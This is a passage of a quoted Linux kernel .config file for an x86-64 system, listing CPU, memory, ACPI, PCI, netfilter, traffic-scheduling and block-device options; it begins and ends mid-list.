CONFIG_ZONE_DMA=y > CONFIG_SMP=y > # CONFIG_X86_MPPARSE is not set > # CONFIG_X86_EXTENDED_PLATFORM is not set > # CONFIG_X86_INTEL_LPSS is not set > CONFIG_X86_SUPPORTS_MEMORY_FAILURE=y > CONFIG_SCHED_OMIT_FRAME_POINTER=y > # CONFIG_HYPERVISOR_GUEST is not set > CONFIG_NO_BOOTMEM=y > # CONFIG_MEMTEST is not set > # CONFIG_MK8 is not set > # CONFIG_MPSC is not set > CONFIG_MCORE2=y > # CONFIG_MATOM is not set > # CONFIG_GENERIC_CPU is not set > CONFIG_X86_INTERNODE_CACHE_SHIFT=6 > CONFIG_X86_L1_CACHE_SHIFT=6 > CONFIG_X86_INTEL_USERCOPY=y > CONFIG_X86_USE_PPRO_CHECKSUM=y > CONFIG_X86_P6_NOP=y > CONFIG_X86_TSC=y > CONFIG_X86_CMPXCHG64=y > CONFIG_X86_CMOV=y > CONFIG_X86_MINIMUM_CPU_FAMILY=64 > CONFIG_X86_DEBUGCTLMSR=y > CONFIG_CPU_SUP_INTEL=y > CONFIG_CPU_SUP_AMD=y > CONFIG_CPU_SUP_CENTAUR=y > CONFIG_HPET_TIMER=y > CONFIG_DMI=y > CONFIG_GART_IOMMU=y > # CONFIG_CALGARY_IOMMU is not set > CONFIG_SWIOTLB=y > CONFIG_IOMMU_HELPER=y > CONFIG_NR_CPUS=8 > CONFIG_SCHED_SMT=y > CONFIG_SCHED_MC=y > CONFIG_PREEMPT_NONE=y > # CONFIG_PREEMPT_VOLUNTARY is not set > # CONFIG_PREEMPT is not set > CONFIG_X86_LOCAL_APIC=y > CONFIG_X86_IO_APIC=y > # CONFIG_X86_REROUTE_FOR_BROKEN_BOOT_IRQS is not set > CONFIG_X86_MCE=y > CONFIG_X86_MCE_INTEL=y > # CONFIG_X86_MCE_AMD is not set > CONFIG_X86_MCE_THRESHOLD=y > # CONFIG_X86_MCE_INJECT is not set > CONFIG_X86_THERMAL_VECTOR=y > # CONFIG_I8K is not set > # CONFIG_MICROCODE is not set > CONFIG_X86_MSR=y > CONFIG_X86_CPUID=y > CONFIG_ARCH_PHYS_ADDR_T_64BIT=y > CONFIG_ARCH_DMA_ADDR_T_64BIT=y > CONFIG_DIRECT_GBPAGES=y > # CONFIG_NUMA is not set > CONFIG_ARCH_SPARSEMEM_ENABLE=y > CONFIG_ARCH_SPARSEMEM_DEFAULT=y > CONFIG_ARCH_SELECT_MEMORY_MODEL=y > CONFIG_ARCH_PROC_KCORE_TEXT=y > CONFIG_ILLEGAL_POINTER_VALUE=0xdead000000000000 > CONFIG_SELECT_MEMORY_MODEL=y > CONFIG_SPARSEMEM_MANUAL=y > CONFIG_SPARSEMEM=y > CONFIG_HAVE_MEMORY_PRESENT=y > CONFIG_SPARSEMEM_EXTREME=y > CONFIG_SPARSEMEM_VMEMMAP_ENABLE=y > CONFIG_SPARSEMEM_ALLOC_MEM_MAP_TOGETHER=y > CONFIG_SPARSEMEM_VMEMMAP=y > CONFIG_HAVE_MEMBLOCK=y > CONFIG_HAVE_MEMBLOCK_NODE_MAP=y > CONFIG_ARCH_DISCARD_MEMBLOCK=y > # CONFIG_HAVE_BOOTMEM_INFO_NODE is not set > # CONFIG_MEMORY_HOTPLUG is not set > CONFIG_PAGEFLAGS_EXTENDED=y > CONFIG_SPLIT_PTLOCK_CPUS=4 > CONFIG_COMPACTION=y > CONFIG_MIGRATION=y > CONFIG_PHYS_ADDR_T_64BIT=y > CONFIG_ZONE_DMA_FLAG=1 > CONFIG_BOUNCE=y > CONFIG_VIRT_TO_BUS=y > CONFIG_MMU_NOTIFIER=y > # CONFIG_KSM is not set > CONFIG_DEFAULT_MMAP_MIN_ADDR=65536 > CONFIG_ARCH_SUPPORTS_MEMORY_FAILURE=y > # CONFIG_MEMORY_FAILURE is not set > # CONFIG_TRANSPARENT_HUGEPAGE is not set > CONFIG_CROSS_MEMORY_ATTACH=y > CONFIG_CLEANCACHE=y > CONFIG_FRONTSWAP=y > # CONFIG_X86_CHECK_BIOS_CORRUPTION is not set > CONFIG_X86_RESERVE_LOW=64 > CONFIG_MTRR=y > CONFIG_MTRR_SANITIZER=y > CONFIG_MTRR_SANITIZER_ENABLE_DEFAULT=0 > CONFIG_MTRR_SANITIZER_SPARE_REG_NR_DEFAULT=1 > CONFIG_X86_PAT=y > CONFIG_ARCH_USES_PG_UNCACHED=y > CONFIG_ARCH_RANDOM=y > CONFIG_X86_SMAP=y > # CONFIG_EFI is not set > CONFIG_SECCOMP=y > CONFIG_CC_STACKPROTECTOR=y > CONFIG_HZ_100=y > # CONFIG_HZ_250 is not set > # CONFIG_HZ_300 is not set > # CONFIG_HZ_1000 is not set > CONFIG_HZ=100 > CONFIG_SCHED_HRTICK=y > CONFIG_KEXEC=y > # CONFIG_CRASH_DUMP is not set > CONFIG_PHYSICAL_START=0x1000000 > CONFIG_RELOCATABLE=y > CONFIG_PHYSICAL_ALIGN=0x1000000 > CONFIG_HOTPLUG_CPU=y > # CONFIG_BOOTPARAM_HOTPLUG_CPU0 is not set > # CONFIG_DEBUG_HOTPLUG_CPU0 is not set > # CONFIG_COMPAT_VDSO is not set > # CONFIG_CMDLINE_BOOL is not set > CONFIG_ARCH_ENABLE_MEMORY_HOTPLUG=y > > # > # Power management and ACPI options > # > # CONFIG_SUSPEND is not set > # CONFIG_HIBERNATION is not set > # CONFIG_PM_RUNTIME is not set > CONFIG_ACPI=y > # CONFIG_ACPI_PROCFS is not set > # CONFIG_ACPI_PROCFS_POWER is not set > # CONFIG_ACPI_EC_DEBUGFS is not set > # CONFIG_ACPI_PROC_EVENT is not set > # CONFIG_ACPI_AC is not set > # CONFIG_ACPI_BATTERY is not set > CONFIG_ACPI_BUTTON=m > CONFIG_ACPI_FAN=m > CONFIG_ACPI_DOCK=y > CONFIG_ACPI_I2C=m > CONFIG_ACPI_PROCESSOR=m > CONFIG_ACPI_HOTPLUG_CPU=y > # CONFIG_ACPI_PROCESSOR_AGGREGATOR is not set > CONFIG_ACPI_THERMAL=m > # CONFIG_ACPI_CUSTOM_DSDT is not set > # CONFIG_ACPI_INITRD_TABLE_OVERRIDE is not set > CONFIG_ACPI_BLACKLIST_YEAR=0 > # CONFIG_ACPI_DEBUG is not set > CONFIG_ACPI_PCI_SLOT=y > CONFIG_X86_PM_TIMER=y > CONFIG_ACPI_CONTAINER=y > # CONFIG_ACPI_SBS is not set > # CONFIG_ACPI_HED is not set > # CONFIG_ACPI_APEI is not set > # CONFIG_SFI is not set > > # > # CPU Frequency scaling > # > CONFIG_CPU_FREQ=y > CONFIG_CPU_FREQ_TABLE=y > CONFIG_CPU_FREQ_GOV_COMMON=y > CONFIG_CPU_FREQ_STAT=y > # CONFIG_CPU_FREQ_STAT_DETAILS is not set > CONFIG_CPU_FREQ_DEFAULT_GOV_PERFORMANCE=y > # CONFIG_CPU_FREQ_DEFAULT_GOV_USERSPACE is not set > # CONFIG_CPU_FREQ_DEFAULT_GOV_ONDEMAND is not set > # CONFIG_CPU_FREQ_DEFAULT_GOV_CONSERVATIVE is not set > CONFIG_CPU_FREQ_GOV_PERFORMANCE=y > CONFIG_CPU_FREQ_GOV_POWERSAVE=m > CONFIG_CPU_FREQ_GOV_USERSPACE=m > CONFIG_CPU_FREQ_GOV_ONDEMAND=m > CONFIG_CPU_FREQ_GOV_CONSERVATIVE=m > > # > # x86 CPU frequency scaling drivers > # > CONFIG_X86_INTEL_PSTATE=y > # CONFIG_X86_PCC_CPUFREQ is not set > CONFIG_X86_ACPI_CPUFREQ=m > # CONFIG_X86_ACPI_CPUFREQ_CPB is not set > # CONFIG_X86_POWERNOW_K8 is not set > # CONFIG_X86_AMD_FREQ_SENSITIVITY is not set > # CONFIG_X86_SPEEDSTEP_CENTRINO is not set > # CONFIG_X86_P4_CLOCKMOD is not set > > # > # shared options > # > # CONFIG_X86_SPEEDSTEP_LIB is not set > CONFIG_CPU_IDLE=y > # CONFIG_CPU_IDLE_MULTIPLE_DRIVERS is not set > CONFIG_CPU_IDLE_GOV_LADDER=y > CONFIG_CPU_IDLE_GOV_MENU=y > # CONFIG_ARCH_NEEDS_CPU_IDLE_COUPLED is not set > CONFIG_INTEL_IDLE=y > > # > # Memory power savings > # > # CONFIG_I7300_IDLE is not set > > # > # Bus options (PCI etc.) > # > CONFIG_PCI=y > CONFIG_PCI_DIRECT=y > CONFIG_PCI_MMCONFIG=y > CONFIG_PCI_DOMAINS=y > CONFIG_PCIEPORTBUS=y > CONFIG_PCIEAER=y > # CONFIG_PCIE_ECRC is not set > # CONFIG_PCIEAER_INJECT is not set > CONFIG_PCIEASPM=y > # CONFIG_PCIEASPM_DEBUG is not set > CONFIG_PCIEASPM_DEFAULT=y > # CONFIG_PCIEASPM_POWERSAVE is not set > # CONFIG_PCIEASPM_PERFORMANCE is not set > CONFIG_ARCH_SUPPORTS_MSI=y > CONFIG_PCI_MSI=y > # CONFIG_PCI_REALLOC_ENABLE_AUTO is not set > # CONFIG_PCI_STUB is not set > CONFIG_HT_IRQ=y > # CONFIG_PCI_IOV is not set > # CONFIG_PCI_PRI is not set > # CONFIG_PCI_PASID is not set > # CONFIG_PCI_IOAPIC is not set > CONFIG_PCI_LABEL=y > CONFIG_ISA_DMA_API=y > CONFIG_AMD_NB=y > # CONFIG_PCCARD is not set > # CONFIG_HOTPLUG_PCI is not set > # CONFIG_RAPIDIO is not set > > # > # Executable file formats / Emulations > # > CONFIG_BINFMT_ELF=y > CONFIG_COMPAT_BINFMT_ELF=y > CONFIG_ARCH_BINFMT_ELF_RANDOMIZE_PIE=y > # CONFIG_CORE_DUMP_DEFAULT_ELF_HEADERS is not set > CONFIG_BINFMT_SCRIPT=y > # CONFIG_HAVE_AOUT is not set > # CONFIG_BINFMT_MISC is not set > CONFIG_COREDUMP=y > CONFIG_IA32_EMULATION=y > # CONFIG_IA32_AOUT is not set > # CONFIG_X86_X32 is not set > CONFIG_COMPAT=y > CONFIG_COMPAT_FOR_U64_ALIGNMENT=y > CONFIG_SYSVIPC_COMPAT=y > CONFIG_KEYS_COMPAT=y > CONFIG_HAVE_TEXT_POKE_SMP=y > CONFIG_X86_DEV_DMA_OPS=y > CONFIG_NET=y > > # > # Networking options > # > CONFIG_PACKET=y > CONFIG_PACKET_DIAG=y > CONFIG_UNIX=y > CONFIG_UNIX_DIAG=y > # CONFIG_XFRM_USER is not set > # CONFIG_NET_KEY is not set > CONFIG_INET=y > CONFIG_IP_MULTICAST=y > CONFIG_IP_ADVANCED_ROUTER=y > # CONFIG_IP_FIB_TRIE_STATS is not set > CONFIG_IP_MULTIPLE_TABLES=y > CONFIG_IP_ROUTE_MULTIPATH=y > CONFIG_IP_ROUTE_VERBOSE=y > CONFIG_IP_ROUTE_CLASSID=y > # CONFIG_IP_PNP is not set > CONFIG_NET_IPIP=m > # CONFIG_NET_IPGRE_DEMUX is not set > CONFIG_NET_IP_TUNNEL=m > CONFIG_IP_MROUTE=y > CONFIG_IP_MROUTE_MULTIPLE_TABLES=y > CONFIG_IP_PIMSM_V1=y > CONFIG_IP_PIMSM_V2=y > # CONFIG_ARPD is not set > CONFIG_SYN_COOKIES=y > # CONFIG_INET_AH is not set > # CONFIG_INET_ESP is not set > # CONFIG_INET_IPCOMP is not set > # CONFIG_INET_XFRM_TUNNEL is not set > CONFIG_INET_TUNNEL=m > # CONFIG_INET_XFRM_MODE_TRANSPORT is not set > # CONFIG_INET_XFRM_MODE_TUNNEL is not set > # CONFIG_INET_XFRM_MODE_BEET is not set > CONFIG_INET_LRO=y > CONFIG_INET_DIAG=y > CONFIG_INET_TCP_DIAG=y > CONFIG_INET_UDP_DIAG=m > # CONFIG_TCP_CONG_ADVANCED is not set > CONFIG_TCP_CONG_CUBIC=y > CONFIG_DEFAULT_TCP_CONG="cubic" > # CONFIG_TCP_MD5SIG is not set > CONFIG_IPV6=m > CONFIG_IPV6_PRIVACY=y > # CONFIG_IPV6_ROUTER_PREF is not set > # CONFIG_IPV6_OPTIMISTIC_DAD is not set > # CONFIG_INET6_AH is not set > # CONFIG_INET6_ESP is not set > # CONFIG_INET6_IPCOMP is not set > # CONFIG_IPV6_MIP6 is not set > # CONFIG_INET6_XFRM_TUNNEL is not set > CONFIG_INET6_TUNNEL=m > # CONFIG_INET6_XFRM_MODE_TRANSPORT is not set > # CONFIG_INET6_XFRM_MODE_TUNNEL is not set > # CONFIG_INET6_XFRM_MODE_BEET is not set > # CONFIG_INET6_XFRM_MODE_ROUTEOPTIMIZATION is not set > CONFIG_IPV6_SIT=m > # CONFIG_IPV6_SIT_6RD is not set > CONFIG_IPV6_NDISC_NODETYPE=y > CONFIG_IPV6_TUNNEL=m > CONFIG_IPV6_GRE=m > CONFIG_IPV6_MULTIPLE_TABLES=y > CONFIG_IPV6_SUBTREES=y > CONFIG_IPV6_MROUTE=y > CONFIG_IPV6_MROUTE_MULTIPLE_TABLES=y > CONFIG_IPV6_PIMSM_V2=y > # CONFIG_NETWORK_SECMARK is not set > # CONFIG_NETWORK_PHY_TIMESTAMPING is not set > CONFIG_NETFILTER=y > # CONFIG_NETFILTER_DEBUG is not set > CONFIG_NETFILTER_ADVANCED=y > CONFIG_BRIDGE_NETFILTER=y > > # > # Core Netfilter Configuration > # > CONFIG_NETFILTER_NETLINK=m > CONFIG_NETFILTER_NETLINK_ACCT=m > CONFIG_NETFILTER_NETLINK_QUEUE=m > CONFIG_NETFILTER_NETLINK_LOG=m > CONFIG_NF_CONNTRACK=m > CONFIG_NF_CONNTRACK_MARK=y > # CONFIG_NF_CONNTRACK_ZONES is not set > # CONFIG_NF_CONNTRACK_PROCFS is not set > CONFIG_NF_CONNTRACK_EVENTS=y > CONFIG_NF_CONNTRACK_TIMEOUT=y > # CONFIG_NF_CONNTRACK_TIMESTAMP is not set > CONFIG_NF_CONNTRACK_LABELS=y > CONFIG_NF_CT_PROTO_DCCP=m > CONFIG_NF_CT_PROTO_GRE=m > CONFIG_NF_CT_PROTO_SCTP=m > CONFIG_NF_CT_PROTO_UDPLITE=m > CONFIG_NF_CONNTRACK_AMANDA=m > CONFIG_NF_CONNTRACK_FTP=m > CONFIG_NF_CONNTRACK_H323=m > CONFIG_NF_CONNTRACK_IRC=m > CONFIG_NF_CONNTRACK_BROADCAST=m > CONFIG_NF_CONNTRACK_NETBIOS_NS=m > CONFIG_NF_CONNTRACK_SNMP=m > CONFIG_NF_CONNTRACK_PPTP=m > CONFIG_NF_CONNTRACK_SANE=m > CONFIG_NF_CONNTRACK_SIP=m > CONFIG_NF_CONNTRACK_TFTP=m > CONFIG_NF_CT_NETLINK=m > CONFIG_NF_CT_NETLINK_TIMEOUT=m > CONFIG_NF_CT_NETLINK_HELPER=m > CONFIG_NETFILTER_NETLINK_QUEUE_CT=y > CONFIG_NF_NAT=m > CONFIG_NF_NAT_NEEDED=y > CONFIG_NF_NAT_PROTO_DCCP=m > CONFIG_NF_NAT_PROTO_UDPLITE=m > CONFIG_NF_NAT_PROTO_SCTP=m > CONFIG_NF_NAT_AMANDA=m > CONFIG_NF_NAT_FTP=m > CONFIG_NF_NAT_IRC=m > CONFIG_NF_NAT_SIP=m > CONFIG_NF_NAT_TFTP=m > CONFIG_NETFILTER_TPROXY=m > CONFIG_NETFILTER_XTABLES=m > > # > # Xtables combined modules > # > CONFIG_NETFILTER_XT_MARK=m > CONFIG_NETFILTER_XT_CONNMARK=m > CONFIG_NETFILTER_XT_SET=m > > # > # Xtables targets > # > CONFIG_NETFILTER_XT_TARGET_AUDIT=m > CONFIG_NETFILTER_XT_TARGET_CHECKSUM=m > CONFIG_NETFILTER_XT_TARGET_CLASSIFY=m > CONFIG_NETFILTER_XT_TARGET_CONNMARK=m > CONFIG_NETFILTER_XT_TARGET_CT=m > CONFIG_NETFILTER_XT_TARGET_DSCP=m > CONFIG_NETFILTER_XT_TARGET_HL=m > CONFIG_NETFILTER_XT_TARGET_HMARK=m > CONFIG_NETFILTER_XT_TARGET_IDLETIMER=m > CONFIG_NETFILTER_XT_TARGET_LOG=m > CONFIG_NETFILTER_XT_TARGET_MARK=m > CONFIG_NETFILTER_XT_TARGET_NETMAP=m > CONFIG_NETFILTER_XT_TARGET_NFLOG=m > CONFIG_NETFILTER_XT_TARGET_NFQUEUE=m > # CONFIG_NETFILTER_XT_TARGET_NOTRACK is not set > CONFIG_NETFILTER_XT_TARGET_RATEEST=m > CONFIG_NETFILTER_XT_TARGET_REDIRECT=m > CONFIG_NETFILTER_XT_TARGET_TEE=m > CONFIG_NETFILTER_XT_TARGET_TPROXY=m > CONFIG_NETFILTER_XT_TARGET_TRACE=m > CONFIG_NETFILTER_XT_TARGET_TCPMSS=m > CONFIG_NETFILTER_XT_TARGET_TCPOPTSTRIP=m > > # > # Xtables matches > # > CONFIG_NETFILTER_XT_MATCH_ADDRTYPE=m > CONFIG_NETFILTER_XT_MATCH_BPF=m > CONFIG_NETFILTER_XT_MATCH_CLUSTER=m > CONFIG_NETFILTER_XT_MATCH_COMMENT=m > CONFIG_NETFILTER_XT_MATCH_CONNBYTES=m > CONFIG_NETFILTER_XT_MATCH_CONNLABEL=m > CONFIG_NETFILTER_XT_MATCH_CONNLIMIT=m > CONFIG_NETFILTER_XT_MATCH_CONNMARK=m > CONFIG_NETFILTER_XT_MATCH_CONNTRACK=m > CONFIG_NETFILTER_XT_MATCH_CPU=m > CONFIG_NETFILTER_XT_MATCH_DCCP=m > CONFIG_NETFILTER_XT_MATCH_DEVGROUP=m > CONFIG_NETFILTER_XT_MATCH_DSCP=m > CONFIG_NETFILTER_XT_MATCH_ECN=m > CONFIG_NETFILTER_XT_MATCH_ESP=m > CONFIG_NETFILTER_XT_MATCH_HASHLIMIT=m > CONFIG_NETFILTER_XT_MATCH_HELPER=m > CONFIG_NETFILTER_XT_MATCH_HL=m > CONFIG_NETFILTER_XT_MATCH_IPRANGE=m > CONFIG_NETFILTER_XT_MATCH_LENGTH=m > CONFIG_NETFILTER_XT_MATCH_LIMIT=m > CONFIG_NETFILTER_XT_MATCH_MAC=m > CONFIG_NETFILTER_XT_MATCH_MARK=m > CONFIG_NETFILTER_XT_MATCH_MULTIPORT=m > CONFIG_NETFILTER_XT_MATCH_NFACCT=m > CONFIG_NETFILTER_XT_MATCH_OSF=m > CONFIG_NETFILTER_XT_MATCH_OWNER=m > CONFIG_NETFILTER_XT_MATCH_PHYSDEV=m > CONFIG_NETFILTER_XT_MATCH_PKTTYPE=m > CONFIG_NETFILTER_XT_MATCH_QUOTA=m > CONFIG_NETFILTER_XT_MATCH_RATEEST=m > CONFIG_NETFILTER_XT_MATCH_REALM=m > CONFIG_NETFILTER_XT_MATCH_RECENT=m > CONFIG_NETFILTER_XT_MATCH_SCTP=m > CONFIG_NETFILTER_XT_MATCH_SOCKET=m > CONFIG_NETFILTER_XT_MATCH_STATE=m > CONFIG_NETFILTER_XT_MATCH_STATISTIC=m > CONFIG_NETFILTER_XT_MATCH_STRING=m > CONFIG_NETFILTER_XT_MATCH_TCPMSS=m > CONFIG_NETFILTER_XT_MATCH_TIME=m > CONFIG_NETFILTER_XT_MATCH_U32=m > CONFIG_IP_SET=m > CONFIG_IP_SET_MAX=256 > CONFIG_IP_SET_BITMAP_IP=m > CONFIG_IP_SET_BITMAP_IPMAC=m > CONFIG_IP_SET_BITMAP_PORT=m > CONFIG_IP_SET_HASH_IP=m > CONFIG_IP_SET_HASH_IPPORT=m > CONFIG_IP_SET_HASH_IPPORTIP=m > CONFIG_IP_SET_HASH_IPPORTNET=m > CONFIG_IP_SET_HASH_NET=m > CONFIG_IP_SET_HASH_NETPORT=m > CONFIG_IP_SET_HASH_NETIFACE=m > CONFIG_IP_SET_LIST_SET=m > # CONFIG_IP_VS is not set > > # > # IP: Netfilter Configuration > # > CONFIG_NF_DEFRAG_IPV4=m > CONFIG_NF_CONNTRACK_IPV4=m > CONFIG_IP_NF_IPTABLES=m > CONFIG_IP_NF_MATCH_AH=m > CONFIG_IP_NF_MATCH_ECN=m > CONFIG_IP_NF_MATCH_RPFILTER=m > CONFIG_IP_NF_MATCH_TTL=m > CONFIG_IP_NF_FILTER=m > CONFIG_IP_NF_TARGET_REJECT=m > CONFIG_IP_NF_TARGET_ULOG=m > CONFIG_NF_NAT_IPV4=m > CONFIG_IP_NF_TARGET_MASQUERADE=m > CONFIG_IP_NF_TARGET_NETMAP=m > CONFIG_IP_NF_TARGET_REDIRECT=m > CONFIG_NF_NAT_SNMP_BASIC=m > CONFIG_NF_NAT_PROTO_GRE=m > CONFIG_NF_NAT_PPTP=m > CONFIG_NF_NAT_H323=m > CONFIG_IP_NF_MANGLE=m > CONFIG_IP_NF_TARGET_CLUSTERIP=m > CONFIG_IP_NF_TARGET_ECN=m > CONFIG_IP_NF_TARGET_TTL=m > CONFIG_IP_NF_RAW=m > CONFIG_IP_NF_ARPTABLES=m > CONFIG_IP_NF_ARPFILTER=m > CONFIG_IP_NF_ARP_MANGLE=m > > # > # IPv6: Netfilter Configuration > # > CONFIG_NF_DEFRAG_IPV6=m > CONFIG_NF_CONNTRACK_IPV6=m > CONFIG_IP6_NF_IPTABLES=m > CONFIG_IP6_NF_MATCH_AH=m > CONFIG_IP6_NF_MATCH_EUI64=m > CONFIG_IP6_NF_MATCH_FRAG=m > CONFIG_IP6_NF_MATCH_OPTS=m > CONFIG_IP6_NF_MATCH_HL=m > CONFIG_IP6_NF_MATCH_IPV6HEADER=m > CONFIG_IP6_NF_MATCH_MH=m > CONFIG_IP6_NF_MATCH_RPFILTER=m > CONFIG_IP6_NF_MATCH_RT=m > CONFIG_IP6_NF_TARGET_HL=m > CONFIG_IP6_NF_FILTER=m > CONFIG_IP6_NF_TARGET_REJECT=m > CONFIG_IP6_NF_MANGLE=m > CONFIG_IP6_NF_RAW=m > CONFIG_NF_NAT_IPV6=m > CONFIG_IP6_NF_TARGET_MASQUERADE=m > CONFIG_IP6_NF_TARGET_NPT=m > CONFIG_BRIDGE_NF_EBTABLES=m > CONFIG_BRIDGE_EBT_BROUTE=m > CONFIG_BRIDGE_EBT_T_FILTER=m > CONFIG_BRIDGE_EBT_T_NAT=m > CONFIG_BRIDGE_EBT_802_3=m > CONFIG_BRIDGE_EBT_AMONG=m > CONFIG_BRIDGE_EBT_ARP=m > CONFIG_BRIDGE_EBT_IP=m > CONFIG_BRIDGE_EBT_IP6=m > CONFIG_BRIDGE_EBT_LIMIT=m > CONFIG_BRIDGE_EBT_MARK=m > CONFIG_BRIDGE_EBT_PKTTYPE=m > CONFIG_BRIDGE_EBT_STP=m > CONFIG_BRIDGE_EBT_VLAN=m > CONFIG_BRIDGE_EBT_ARPREPLY=m > CONFIG_BRIDGE_EBT_DNAT=m > CONFIG_BRIDGE_EBT_MARK_T=m > CONFIG_BRIDGE_EBT_REDIRECT=m > CONFIG_BRIDGE_EBT_SNAT=m > CONFIG_BRIDGE_EBT_LOG=m > CONFIG_BRIDGE_EBT_ULOG=m > CONFIG_BRIDGE_EBT_NFLOG=m > # CONFIG_IP_DCCP is not set > # CONFIG_IP_SCTP is not set > # CONFIG_RDS is not set > # CONFIG_TIPC is not set > # CONFIG_ATM is not set > # CONFIG_L2TP is not set > CONFIG_STP=m > CONFIG_GARP=m > CONFIG_BRIDGE=m > CONFIG_BRIDGE_IGMP_SNOOPING=y > CONFIG_BRIDGE_VLAN_FILTERING=y > CONFIG_HAVE_NET_DSA=y > CONFIG_VLAN_8021Q=m > CONFIG_VLAN_8021Q_GVRP=y > # CONFIG_VLAN_8021Q_MVRP is not set > # CONFIG_DECNET is not set > CONFIG_LLC=m > # CONFIG_LLC2 is not set > # CONFIG_IPX is not set > # CONFIG_ATALK is not set > # CONFIG_X25 is not set > # CONFIG_LAPB is not set > # CONFIG_PHONET is not set > # CONFIG_IEEE802154 is not set > CONFIG_NET_SCHED=y > > # > # Queueing/Scheduling > # > CONFIG_NET_SCH_CBQ=m > CONFIG_NET_SCH_HTB=m > CONFIG_NET_SCH_HFSC=m > CONFIG_NET_SCH_PRIO=m > CONFIG_NET_SCH_MULTIQ=m > CONFIG_NET_SCH_RED=m > CONFIG_NET_SCH_SFB=m > CONFIG_NET_SCH_SFQ=m > CONFIG_NET_SCH_TEQL=m > CONFIG_NET_SCH_TBF=m > CONFIG_NET_SCH_GRED=m > CONFIG_NET_SCH_DSMARK=m > CONFIG_NET_SCH_NETEM=m > CONFIG_NET_SCH_DRR=m > CONFIG_NET_SCH_MQPRIO=m > CONFIG_NET_SCH_CHOKE=m > CONFIG_NET_SCH_QFQ=m > CONFIG_NET_SCH_CODEL=m > CONFIG_NET_SCH_FQ_CODEL=m > CONFIG_NET_SCH_INGRESS=m > CONFIG_NET_SCH_PLUG=m > > # > # Classification > # > CONFIG_NET_CLS=y > CONFIG_NET_CLS_BASIC=m > CONFIG_NET_CLS_TCINDEX=m > CONFIG_NET_CLS_ROUTE4=m > CONFIG_NET_CLS_FW=m > CONFIG_NET_CLS_U32=m > CONFIG_CLS_U32_PERF=y > CONFIG_CLS_U32_MARK=y > CONFIG_NET_CLS_RSVP=m > CONFIG_NET_CLS_RSVP6=m > CONFIG_NET_CLS_FLOW=m > CONFIG_NET_CLS_CGROUP=m > CONFIG_NET_EMATCH=y > CONFIG_NET_EMATCH_STACK=32 > CONFIG_NET_EMATCH_CMP=m > CONFIG_NET_EMATCH_NBYTE=m > CONFIG_NET_EMATCH_U32=m > CONFIG_NET_EMATCH_META=m > CONFIG_NET_EMATCH_TEXT=m > # CONFIG_NET_EMATCH_IPSET is not set > CONFIG_NET_CLS_ACT=y > CONFIG_NET_ACT_POLICE=m > CONFIG_NET_ACT_GACT=m > CONFIG_GACT_PROB=y > CONFIG_NET_ACT_MIRRED=m > CONFIG_NET_ACT_IPT=m > CONFIG_NET_ACT_NAT=m > CONFIG_NET_ACT_PEDIT=m > CONFIG_NET_ACT_SIMP=m > CONFIG_NET_ACT_SKBEDIT=m > CONFIG_NET_ACT_CSUM=m > CONFIG_NET_CLS_IND=y > CONFIG_NET_SCH_FIFO=y > # CONFIG_DCB is not set > CONFIG_DNS_RESOLVER=y > # CONFIG_BATMAN_ADV is not set > # CONFIG_OPENVSWITCH is not set > # CONFIG_VSOCKETS is not set > # CONFIG_NETLINK_MMAP is not set > # CONFIG_NETLINK_DIAG is not set > CONFIG_RPS=y > CONFIG_RFS_ACCEL=y > CONFIG_XPS=y > CONFIG_NETPRIO_CGROUP=m > CONFIG_BQL=y > CONFIG_BPF_JIT=y > > # > # Network testing > # > # CONFIG_NET_PKTGEN is not set > # CONFIG_HAMRADIO is not set > # CONFIG_CAN is not set > # CONFIG_IRDA is not set > # CONFIG_BT is not set > # CONFIG_AF_RXRPC is not set > CONFIG_FIB_RULES=y > # CONFIG_WIRELESS is not set > # CONFIG_WIMAX is not set > # CONFIG_RFKILL is not set > # CONFIG_NET_9P is not set > # CONFIG_CAIF is not set > # CONFIG_CEPH_LIB is not set > # CONFIG_NFC is not set > CONFIG_HAVE_BPF_JIT=y > > # > # Device Drivers > # > > # > # Generic Driver Options > # > CONFIG_UEVENT_HELPER_PATH="/sbin/hotplug" > CONFIG_DEVTMPFS=y > # CONFIG_DEVTMPFS_MOUNT is not set > CONFIG_STANDALONE=y > CONFIG_PREVENT_FIRMWARE_BUILD=y > CONFIG_FW_LOADER=y > # CONFIG_FIRMWARE_IN_KERNEL is not set > CONFIG_EXTRA_FIRMWARE="" > # CONFIG_FW_LOADER_USER_HELPER is not set > # CONFIG_SYS_HYPERVISOR is not set > # CONFIG_GENERIC_CPU_DEVICES is not set > # CONFIG_DMA_SHARED_BUFFER is not set > > # > # Bus devices > # > CONFIG_CONNECTOR=m > # CONFIG_MTD is not set > # CONFIG_PARPORT is not set > CONFIG_PNP=y > CONFIG_PNP_DEBUG_MESSAGES=y > > # > # Protocols > # > CONFIG_PNPACPI=y > CONFIG_BLK_DEV=y > # CONFIG_BLK_DEV_FD is not set > # CONFIG_BLK_DEV_PCIESSD_MTIP32XX is not set > # CONFIG_BLK_CPQ_DA is not set > # CONFIG_BLK_CPQ_CISS_DA is not set > # CONFIG_BLK_DEV_DAC960 is not set > # CONFIG_BLK_DEV_UMEM is not set > # CONFIG_BLK_DEV_COW_COMMON is not set > CONFIG_BLK_DEV_LOOP=m > CONFIG_BLK_DEV_LOOP_MIN_COUNT=8 > CONFIG_BLK_DEV_CRYPTOLOOP=m > CONFIG_BLK_DEV_DRBD=m > # CONFIG_DRBD_FAULT_INJECTION is not set > CONFIG_BLK_DEV_NBD=m > # CONFIG_BLK_DEV_NVME is not set > # CONFIG_BLK_DEV_SX8 is not set > CONFIG_BLK_DEV_RAM=m > CONFIG_BLK_DEV_RAM_COUNT=16 > CONFIG_BLK_DEV_RAM_SIZE=4096 > # CONFIG_BLK_DEV_XIP is not set > # CONFIG_CDROM_PKTCDVD is not set > # CONFIG_ATA_OVER_ETH is not set > # CONFIG_BLK_DEV_HD is not set > # CONFIG_BLK_DEV_RBD is not set > # CONFIG_BLK_DEV_RSXX is not set > > # > # Misc devices > # > # CONFIG_SENSORS_LIS3LV02D is not set > # CONFIG_AD525X_DPOT is not set > # CONFIG_DUMMY_IRQ is not set > # CONFIG_IBM_ASM is not set > # CONFIG_PHANTOM is not set > # CONFIG_INTEL_MID_PTI is not set > # CONFIG_SGI_IOC4 is not set > # CONFIG_TIFM_CORE is not set > # CONFIG_ICS932S401 is not set > # CONFIG_ATMEL_SSC is not set > # CONFIG_ENCLOSURE_SERVICES is not set > # CONFIG_HP_ILO is not set > # CONFIG_APDS9802ALS is not set > # CONFIG_ISL29003 is not set > # CONFIG_ISL29020 is not set > # CONFIG_SENSORS_TSL2550 is not set > # CONFIG_SENSORS_BH1780 is not set > # CONFIG_SENSORS_BH1770 is 